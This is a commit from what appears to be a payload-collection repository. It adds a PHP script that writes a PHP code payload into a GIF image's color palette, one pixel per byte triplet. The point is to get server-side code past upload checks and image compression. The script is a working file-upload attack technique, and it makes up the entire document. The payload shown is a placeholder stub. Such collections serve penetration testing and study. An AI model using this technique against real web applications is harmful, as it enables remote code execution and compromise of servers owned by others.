weyne/PayloadsAllTheThings
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2024-03-30 12:22:06 +00:00
commit 76f281cc93
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22
Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php Normal file
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<?php
// createGIFwithGlobalColorTable.php
$_file="example.gif";
$_payload="<?php evil();?>";
$_width=200;
$_height=200;
if(strlen($_payload)%3!=0){
echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height);
$_hex=unpack('H*',$_payload);
$colors_hex=str_split($_hex[1], 6);
for($i=0; $i < count($colors_hex); $i++){
$_color_chunks=str_split($colors_hex[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagegif($im,$_file);
?>